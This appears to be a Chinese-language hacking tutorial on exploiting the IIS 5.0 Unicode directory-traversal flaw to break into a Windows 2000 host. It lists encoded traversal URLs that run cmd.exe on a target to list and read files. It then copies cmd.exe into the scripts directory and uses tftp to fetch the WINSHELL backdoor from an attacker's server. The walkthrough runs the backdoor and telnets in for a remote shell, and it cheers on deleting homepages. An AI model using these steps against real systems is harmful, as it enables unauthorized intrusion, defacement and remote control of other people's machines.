|
一、scripts 所在目录和漏洞原理
我们知道,IIS 被安装后会默认指向 系统分区\Intepub\wwwroot ,同时Inetpub
目录中还会生成几个文件夹,其中 Scripts 目录支持一些脚本代码,在未安装 SP1 之前,IIS 5.0 不能过滤以下危险字符,如
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir+c:\ 。
Scripts 目录是 IIS 提供的一个有执行权限的目录,而默认 IIS 可以允许
IUSR_machinename(IIS的访客帐号) 用户访问 IIS 站点,该帐号属于 EveryOne 和 Users
组成员,因此任何与 IIS 根目录在同一分区的文件都能被删除、修改和执行,就如同一个用户成功登陆所能完成的一样。
其实主要是没有过滤掉 . \ / 和 ../

二、利用UNICODE漏洞进入对方主机的磁盘访问
在WINDOWS 系统的目录结构中,可以使用 “ ../ ” 来访问上一级目录,在浏览器中访问
“Scripts/../../” 访问到系统根目录,类似 “Scripts/../../winnt/system32”
即访问到系统所在目录,在SYSTEM32目录中含有很多重要系统文件,如 CMD.EXE 文件,可以利用该文件执行删除文件等操作。
浏览器地址栏中禁用符号 “../” ,但是可以使用符号 “/” 的 UNICODE 编码
“%c0%2f” (win2000中文版)。所以输入 ..%c0%2f 也就等同于 ../
同时在NT4中 “/” 的编码为 “%c1%9c” 。WINDOWS 2000 英文版中是
”%c0%af“ 。

http://192.168.1.250/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir+c:\
看看访问到了什么?

http://192.168.1.250/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+type+c:\boot.ini
类似的命令可以访问到系统分区的任意文件.
当然还有 DEL 、COPY、TYPE、等等命令都可以使用!!!所以删除主页之类都可以完成!!!
三、将CMD.EXE 拷贝到 SCRIPTS 目录以简化后续命令

http://192.168.1.250/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+cmd.exe

实际上此做法就是为了简化命令到上图的类型,也可以不做,不过大家可以考虑下为什么会有以上结果。
四、利用此漏洞入侵系统
在地址栏运行命令权限较低,进一步入侵如NET等命令不可执行,这里需要先上传一些文件或者木马,所以第一步我们建立TFTP服务来上传我们需要的文件到目标主机:

这里我们准备上传老牌后门 WINSHELL ,作好TFTP服务器,并准备好SERVER.EXE(WINSHELL的后门程序)以便上传。

tftp -i 192.168.1.35 get server.exe 实际上就是从192.168.1.35这个TFTP服务器上下载SERVER.EXE到目标主机。

如果成功可以在目录中看到SERVER.EXE已经在目标主机的SCRIPTS 目录中了。

最简单的办法直接执行 SERVER.EXE 即可使 WINSHELL 服务开始在目标主机运行。

接下来直接TELNET 对方的5277端口(生成WINSHELL时配置的端口)即可获取到对方的SHELL。
返回页首
|